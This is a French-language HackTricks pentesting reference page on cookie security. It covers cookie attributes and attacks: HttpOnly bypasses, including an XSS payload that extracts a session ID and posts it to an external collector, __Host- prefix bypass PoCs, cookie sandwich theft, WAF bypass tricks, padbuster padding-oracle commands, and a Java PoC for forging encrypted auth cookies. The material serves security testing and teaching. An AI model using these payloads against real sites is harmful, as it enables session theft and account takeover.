Cookies Hacking

Reading time: 22 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Attributs des cookies

Les cookies possÚdent plusieurs attributs qui contrÎlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs, formulé de maniÚre plus passive :

Expires and Max-Age

La date d'expiration d'un cookie est dĂ©terminĂ©e par l'attribut Expires. À l'inverse, l'attribut Max-age dĂ©finit le temps en secondes avant qu'un cookie ne soit supprimĂ©. PrivilĂ©gier Max-age car il reflĂšte des pratiques plus modernes.

Domain

Les hÎtes destinataires d'un cookie sont spécifiés par l'attribut Domain. Par défaut, ceci est défini sur l'hÎte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsqu'on définit explicitement l'attribut Domain, il englobe aussi les sous-domaines. Cela rend la spécification de l'attribut Domain moins restrictive, utile lorsque le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir Domain=mozilla.org rend les cookies accessibles sur ses sous-domaines comme developer.mozilla.org.

Path

Un chemin d'URL spĂ©cifique qui doit ĂȘtre prĂ©sent dans l'URL demandĂ©e pour que l'en-tĂȘte Cookie soit envoyĂ© est indiquĂ© par l'attribut Path. Cet attribut considĂšre le caractĂšre / comme sĂ©parateur de rĂ©pertoire, permettant des correspondances dans les sous-rĂ©pertoires Ă©galement.

RĂšgles d'ordre

Lorsque deux cookies portent le mĂȘme nom, celui choisi pour l'envoi est dĂ©terminĂ© par :

  • Le cookie correspondant au chemin le plus long dans l'URL demandĂ©e.
  • Le cookie le plus rĂ©cemment dĂ©fini si les chemins sont identiques.

SameSite

  • L'attribut SameSite dicte si les cookies sont envoyĂ©s sur des requĂȘtes provenant de domaines tiers. Il propose trois rĂ©glages :
  • Strict : EmpĂȘche l'envoi du cookie sur des requĂȘtes tierces.
  • Lax : Autorise l'envoi du cookie avec des requĂȘtes GET initiĂ©es par des sites tiers.
  • None : Permet l'envoi du cookie depuis n'importe quel domaine tiers.

Rappelez-vous que, lors de la configuration des cookies, la compréhension de ces attributs aide à garantir qu'ils se comportent comme prévu dans différents scénarios.

Type de requĂȘteCode d'exempleCookies envoyĂ©s quand
Lien<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Formulaire GET<form method="GET" action="...">NotSet*, Lax, None
Formulaire POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
Un cookie avec l'attribut SameSite permettra de mitiger les attaques CSRF nécessitant une session authentifiée.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Remarquez que temporairement, aprĂšs l'application de ce changement, les cookies without a SameSite policy dans Chrome seront treated as None pendant les 2 premiĂšres minutes, puis treated as Lax pour les requĂȘtes POST cross-site de niveau top-level.

Drapeaux des cookies

HttpOnly

Cela empĂȘche le client d'accĂ©der au cookie (via Javascript par exemple : document.cookie)

Contournements

  • Si la page renvoie les cookies dans la rĂ©ponse d'une requĂȘte (par exemple dans une page PHPinfo), il est possible d'abuser d'un XSS pour envoyer une requĂȘte vers cette page et voler les cookies depuis la rĂ©ponse (voir un exemple sur https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Cela peut ĂȘtre contournĂ© avec des requĂȘtes TRACE HTTP car la rĂ©ponse du serveur (si cette mĂ©thode HTTP est disponible) reflĂ©tera les cookies envoyĂ©s. Cette technique s'appelle Cross-Site Tracking.
  • Cette technique est Ă©vitĂ©e par les navigateurs modernes en n'autorisant pas l'envoi d'une requĂȘte TRACE depuis JS. Cependant, certains contournements ont Ă©tĂ© trouvĂ©s dans des logiciels spĂ©cifiques, comme l'envoi de \r\nTRACE au lieu de TRACE sur IE6.0 SP2.
  • Une autre voie est l'exploitation de vulnĂ©rabilitĂ©s zero/day des navigateurs.
  • Il est possible de Ă©craser des cookies HttpOnly en rĂ©alisant une attaque de Cookie Jar overflow :

Cookie Jar Overflow

  • Il est possible d'utiliser une attaque de Cookie Smuggling pour exfiltrer ces cookies.
  • Si un endpoint cĂŽtĂ© serveur renvoie l'ID de session brut dans la rĂ©ponse HTTP (par ex., Ă  l'intĂ©rieur de commentaires HTML ou d'un bloc de debug), il est possible de contourner HttpOnly en utilisant un gadget XSS pour fetcher cet endpoint, extraire le secret via regex, et l'exfiltrer. Exemple de pattern de payload XSS :
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

La requĂȘte n'enverra le cookie dans une requĂȘte HTTP que si celle-ci est transmise via un canal sĂ©curisĂ© (gĂ©nĂ©ralement HTTPS).

Préfixes de cookies

Les cookies prĂ©fixĂ©s par __Secure- doivent ĂȘtre dĂ©finis avec le drapeau secure depuis des pages sĂ©curisĂ©es par HTTPS.

Pour les cookies prĂ©fixĂ©s par __Host-, plusieurs conditions doivent ĂȘtre remplies :

  • Ils doivent ĂȘtre dĂ©finis avec le drapeau secure.
  • Ils doivent provenir d'une page sĂ©curisĂ©e par HTTPS.
  • Il leur est interdit de spĂ©cifier un domaine, empĂȘchant ainsi leur transmission vers des sous-domaines.
  • Le chemin pour ces cookies doit ĂȘtre dĂ©fini sur /.

Il est important de noter que les cookies prĂ©fixĂ©s par __Host- ne peuvent pas ĂȘtre envoyĂ©s vers des superdomaines ou des sous-domaines. Cette restriction aide Ă  isoler les cookies d'application. Ainsi, utiliser le prĂ©fixe __Host- pour tous les cookies d'application peut ĂȘtre considĂ©rĂ© comme une bonne pratique pour amĂ©liorer la sĂ©curitĂ© et l'isolation.

Écrasement des cookies

Ainsi, une des protections des cookies prĂ©fixĂ©s par __Host- est d'empĂȘcher qu'ils soient Ă©crasĂ©s depuis des sous-domaines. Cela prĂ©vient, par exemple, les Cookie Tossing attacks. Dans la confĂ©rence Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) il est montrĂ© qu'il Ă©tait possible de dĂ©finir des cookies prĂ©fixĂ©s par __HOST- depuis un sous-domaine en trompant le parseur, par exemple en ajoutant "=" au dĂ©but ou au dĂ©but et Ă  la fin...:

Ou en PHP il Ă©tait possible d'ajouter d'autres caractĂšres au dĂ©but du nom du cookie qui allaient ĂȘtre remplacĂ©s par des underscores, permettant d'Ă©craser les cookies __HOST- :

Exploiter les divergences entre l'analyse du navigateur et du serveur en prĂ©fixant le nom du cookie par un point de code d'espace blanc Unicode. Le navigateur ne considĂ©rera pas que le nom commence littĂ©ralement par __Host-/__Secure-, ce qui permet de le dĂ©finir depuis un sous-domaine. Si le backend tronque/normalise les espaces blancs Unicode en tĂȘte des clĂ©s de cookie, il verra le nom protĂ©gĂ© et pourra Ă©craser le cookie Ă  privilĂšges Ă©levĂ©s.

  • PoC depuis un sous-domaine pouvant dĂ©finir des cookies du domaine parent :
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • Comportement typique cĂŽtĂ© backend qui permet ce problĂšme :

  • Frameworks qui tronquent/normalisent les clĂ©s des cookies. Dans Django, Python’s str.strip() supprime un large Ă©ventail de points de code d'espacement Unicode, ce qui normalise le nom en __Host-name.

  • Les points de code couramment supprimĂ©s incluent : U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

  • De nombreux frameworks rĂ©solvent les noms de cookies en doublon par “last wins”, donc la valeur du cookie normalisĂ©e contrĂŽlĂ©e par l'attaquant Ă©crase celle lĂ©gitime.

  • Les diffĂ©rences entre navigateurs comptent :

  • Safari bloque les espaces Unicode multioctets dans les noms de cookie (par ex., refuse U+2000) mais permet encore les octets simples U+0085 et U+00A0, que bon nombre de backends suppriment. Testez sur plusieurs navigateurs.

  • Impact : Permet d'Ă©craser les cookies __Host-/__Secure- depuis des contextes moins fiables (sous-domaines), ce qui peut mener Ă  XSS (si reflĂ©tĂ©), Ă  l'Ă©crasement de tokens CSRF, et Ă  une fixation de session.

  • Exemple on-the-wire vs vue serveur (U+2000 prĂ©sent dans le nom) :

Cookie: __Host-name=Real; ñ€€__Host-name=<img src=x onerror=alert(1)>;

De nombreux backends découpent/analysent puis retirent les espaces, ce qui fait que le __Host-name normalisé prend la valeur fournie par l'attaquant.

Certaines stacks Java (p.ex., Tomcat/Jetty-style) activent encore le parsing legacy RFC 2109/2965 lorsque l'en-tĂȘte Cookie commence par $Version=1. Cela peut amener le serveur Ă  rĂ©interprĂ©ter une unique chaĂźne de cookie comme plusieurs cookies logiques et accepter une entrĂ©e __Host- falsifiĂ©e qui avait Ă©tĂ© initialement dĂ©finie depuis un sous-domaine ou mĂȘme depuis une origine non sĂ©curisĂ©e.

  • PoC forcing legacy parsing:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • Pourquoi ça fonctionne :

  • Les vĂ©rifications de prĂ©fixe cĂŽtĂ© client s'appliquent lors de l'enregistrement, mais le parsing legacy cĂŽtĂ© serveur scinde et normalise ensuite l'en-tĂȘte, contournant l'intention des garanties de prĂ©fixe __Host-/__Secure-.

  • OĂč essayer : Tomcat, Jetty, Undertow, ou des frameworks qui honorent encore les attributs RFC 2109/2965. Combiner avec la sĂ©mantique d'Ă©crasement par nom dupliquĂ©.

Primitive d'écrasement last-wins pour nom dupliqué

Quand deux cookies se normalisent au mĂȘme nom, beaucoup de backends (y compris Django) utilisent la derniĂšre occurrence. AprĂšs que le smuggling/legacy-splitting ait produit deux noms __Host-*, celui contrĂŽlĂ© par l'attaquant gagnera gĂ©nĂ©ralement.

Détection et outils

Utilisez Burp Suite pour tester ces conditions :

  • Essayez plusieurs points de code d'espaces Unicode en tĂȘte : U+2000, U+0085, U+00A0 et observez si le backend tronque et traite le nom comme prĂ©fixĂ©.
  • Envoyez $Version=1 en premier dans l'en-tĂȘte Cookie et vĂ©rifiez si le backend effectue le legacy splitting/normalization.
  • Observez si c'est le premier ou le dernier qui l'emporte en injectant deux cookies qui se normalisent au mĂȘme nom.
  • Action personnalisĂ©e Burp pour automatiser ceci : CookiePrefixBypass.bambda

Astuce : Ces techniques exploitent l'Ă©cart octet-vs-string de RFC 6265 : les navigateurs envoient des octets ; les serveurs dĂ©codent et peuvent normaliser/tronquer. Les discordances dans le dĂ©codage et la normalisation sont au cƓur du contournement.

Attaques sur les cookies

Si un cookie personnalisĂ© contient des donnĂ©es sensibles, vĂ©rifiez-le (surtout si vous participez Ă  un CTF), car il pourrait ĂȘtre vulnĂ©rable.

Décodage et manipulation des cookies

Les donnĂ©es sensibles intĂ©grĂ©es dans les cookies doivent toujours ĂȘtre examinĂ©es. Les cookies encodĂ©s en Base64 ou dans des formats similaires peuvent souvent ĂȘtre dĂ©codĂ©s. Cette vulnĂ©rabilitĂ© permet Ă  un attaquant d'altĂ©rer le contenu du cookie et d'usurper d'autres utilisateurs en rĂ©-encodant leurs donnĂ©es modifiĂ©es dans le cookie.

Détournement de session

Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accÚs non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'identité de l'utilisateur légitime.

Fixation de session

Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Donation de session

Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant ĂȘtre connectĂ©e Ă  son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans JWT.

Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, il est recommandé de consulter le document lié sur hacking JWT.

Cross-Site Request Forgery (CSRF)

Cette attaque force un utilisateur connectĂ© Ă  exĂ©cuter des actions indĂ©sirables sur une application web dans laquelle il est actuellement authentifiĂ©. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyĂ©s avec chaque requĂȘte vers le site vulnĂ©rable.

Cookies vides

(Voir plus de dĂ©tails dans la original research) Les navigateurs permettent la crĂ©ation de cookies sans nom, ce qui peut ĂȘtre dĂ©montrĂ© via JavaScript comme suit:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Le rĂ©sultat dans l'en-tĂȘte Cookie envoyĂ© est a=v1; test value; b=v2;. Fait intĂ©ressant, cela permet la manipulation des cookies si un cookie au nom vide est dĂ©fini, permettant potentiellement de contrĂŽler d'autres cookies en dĂ©finissant le cookie vide sur une valeur spĂ©cifique :

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Cela conduit le navigateur Ă  envoyer un en-tĂȘte Cookie interprĂ©tĂ© par chaque serveur web comme un cookie nommĂ© a avec une valeur b.

Bug Chrome : problĂšme de point de code surrogate Unicode

Dans Chrome, si un Unicode surrogate codepoint fait partie d'un set cookie, document.cookie devient corrompu et renvoie ensuite une chaĂźne vide :

js
document.cookie = "\ud800=meep"

Cela entraĂźne que document.cookie renvoie une chaĂźne vide, indiquant une corruption permanente.

(Consultez plus de dĂ©tails dans laoriginal research) Plusieurs serveurs web, y compris ceux pour Java (Jetty, TomCat, Undertow) et Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gĂšrent mal les cookie strings en raison d'un support obsolĂšte de RFC2965. Ils lisent une valeur de cookie entre guillemets doubles comme une seule valeur mĂȘme si elle contient des point-virgules, qui devraient normalement sĂ©parer des paires clĂ©-valeur :

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) L'analyse incorrecte des cookies par certains serveurs, notamment Undertow, Zope, et ceux utilisant Python's http.cookie.SimpleCookie et http.cookie.BaseCookie, crée des opportunités d'attaques d'injection de cookie. Ces serveurs ne délimitent pas correctement le début des nouveaux cookies, permettant aux attaquants de falsifier des cookies :

  • Undertow attend un nouveau cookie immĂ©diatement aprĂšs une valeur entre guillemets sans point-virgule.
  • Zope cherche une virgule pour commencer Ă  parser le cookie suivant.
  • Les classes cookie de Python commencent Ă  parser sur un caractĂšre espace.

Cette vulnĂ©rabilitĂ© est particuliĂšrement dangereuse dans les applications web qui reposent sur une protection CSRF basĂ©e sur les cookies, car elle permet aux attaquants d'injecter des cookies de type CSRF-token falsifiĂ©s, contournant potentiellement les mesures de sĂ©curitĂ©. Le problĂšme est aggravĂ© par la gestion par Python des noms de cookie en double, oĂč la derniĂšre occurrence Ă©crase les prĂ©cĂ©dentes. Cela soulĂšve aussi des inquiĂ©tudes pour les cookies __Secure- et __Host- dans des contextes non sĂ©curisĂ©s et peut conduire Ă  des contournements d'autorisation lorsque des cookies sont transmis Ă  des serveurs back-end susceptibles d'ĂȘtre spoofĂ©s.

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • Trouver un endroit oĂč un cookie apparemment inutile est reflĂ©tĂ© dans la rĂ©ponse
  • Create a cookie called $Version with value 1 (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step)
  • Create the cookie that is reflected with a value that leaves an open double quotes and with a specific path so it’s positioned in the cookie db after the previous one ($Version)
  • Then, the legit cookie will go next in the order
  • Create a dummy cookie that closes the double quotse inside its value

De cette façon, le cookie victime se retrouve piégé à l'intérieur du nouveau cookie version 1 et sera reflété chaque fois qu'il est reflété. e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Voir la section précédente.

Bypassing value analysis with quoted-string encoding

Cette analyse indique de dĂ©sĂ©chapper les valeurs Ă©chappĂ©es Ă  l'intĂ©rieur des cookies, donc "\a" devient "a". Cela peut ĂȘtre utile pour contourner les WAFs comme :

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Dans le RFC2109, il est indiquĂ© qu'une virgule peut ĂȘtre utilisĂ©e comme sĂ©parateur entre les valeurs de cookie. Il est aussi possible d'ajouter espaces et tabulations avant et aprĂšs le signe Ă©gal. Par consĂ©quent un cookie comme $Version=1; foo=bar, abc = qux ne gĂ©nĂšre pas le cookie "foo":"bar, admin = qux" mais les cookies "foo":"bar" et "admin":"qux". Remarquez comment deux cookies sont gĂ©nĂ©rĂ©s et comment l'espace avant et aprĂšs le signe Ă©gal pour admin a Ă©tĂ© retirĂ©.

Enfin, différents backdoors joindraient dans une string différents cookies passés dans différents cookie headers comme dans :

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Ce qui pourrait permettre de bypass un WAF comme dans cet exemple :

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Vérifications supplémentaires pour cookies vulnérables

Vérifications de base

  • Le cookie est le mĂȘme Ă  chaque login.
  • Se dĂ©connecter et essayer d'utiliser le mĂȘme cookie.
  • Essayez de vous connecter avec 2 appareils (ou navigateurs) au mĂȘme compte en utilisant le mĂȘme cookie.
  • VĂ©rifiez si le cookie contient des informations et essayez de les modifier.
  • Essayez de crĂ©er plusieurs accounts avec des username presque identiques et vĂ©rifiez si vous pouvez voir des similaritĂ©s.
  • VĂ©rifiez l'option "remember me" si elle existe pour voir comment elle fonctionne. Si elle existe et peut ĂȘtre vulnĂ©rable, utilisez toujours le cookie de remember me sans aucun autre cookie.
  • VĂ©rifiez si le cookie prĂ©cĂ©dent fonctionne mĂȘme aprĂšs avoir changĂ© le password.

Attaques avancées sur les cookies

Si le cookie reste le mĂȘme (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est liĂ© Ă  un champ de votre account (probablement le username). Vous pouvez alors :

  • Essayez de crĂ©er beaucoup de accounts avec des username trĂšs similaires et tentez de deviner comment l'algorithme fonctionne.
  • Essayez de bruteforce the username. Si le cookie sert uniquement comme mĂ©thode d'authentification pour votre username, alors vous pouvez crĂ©er un account avec le username "Bmin" et bruteforce chaque bit de votre cookie car l'un des cookies que vous testerez sera celui appartenant Ă  "admin".
  • Essayez Padding Oracle (vous pouvez dĂ©crypter le contenu du cookie). Utilisez padbuster.

Padding Oracle - exemples avec Padbuster

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster effectuera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).

Ensuite, il commencera decrypting the cookie (cela peut prendre plusieurs minutes)

Si l'attaque a été menée avec succÚs, vous pourrez essayer de encrypt une chaßne de votre choix. Par exemple, si vous souhaitez encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Cette exécution vous donnera le cookie correctement chiffré et encodé contenant la chaßne user=administrator à l'intérieur.

CBC-MAC

Il se peut qu'un cookie ait une valeur et soit signĂ© en utilisant CBC. Alors, l'intĂ©gritĂ© de la valeur est la signature créée en utilisant CBC avec la mĂȘme valeur. Comme il est recommandĂ© d'utiliser comme IV un vecteur nul, ce type de vĂ©rification d'intĂ©gritĂ© pourrait ĂȘtre vulnĂ©rable.

L'attaque

  1. Obtenir la signature du username administ = t
  2. Obtenir la signature du username rator\x00\x00\x00 XOR t = t'
  3. Placer dans le cookie la valeur administrator+t' (t' sera une signature valide de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Si le cookie est chiffrĂ© en utilisant ECB il pourrait ĂȘtre vulnĂ©rable.
Lors de la connexion le cookie que vous recevez doit toujours ĂȘtre le mĂȘme.

Comment détecter et attaquer :

CrĂ©ez 2 users avec presque les mĂȘmes donnĂ©es (username, password, email, etc.) et essayez de dĂ©couvrir un motif dans le cookie fourni

CrĂ©ez un user appelĂ© par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vĂ©rifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la mĂȘme clĂ© chaque bloc, les mĂȘmes octets chiffrĂ©s pourraient apparaĂźtre si le username est chiffrĂ©).

Il devrait y avoir un motif (de la taille d'un bloc utilisé). Donc, en sachant comment un paquet de "a" est chiffré vous pouvez créer un username : "a"*(size of the block)+"admin". Ensuite, vous pouvez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie du username "admin".

Certaines applications créent des cookies d'authentification en ne chiffrant qu'une valeur prédictible (par ex., l'ID utilisateur numérique) sous une clé symétrique globale et hard-coded, puis encodent le ciphertext (hex/base64). Si la clé est statique par produit (ou par installation), n'importe qui peut forger des cookies pour des users arbitraires hors ligne et contourner l'authentification.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) utilisé en conditions réelles
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
contexte (par ex. : server-side session avec random ID, ou ajouter des propriétés anti-replay).

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks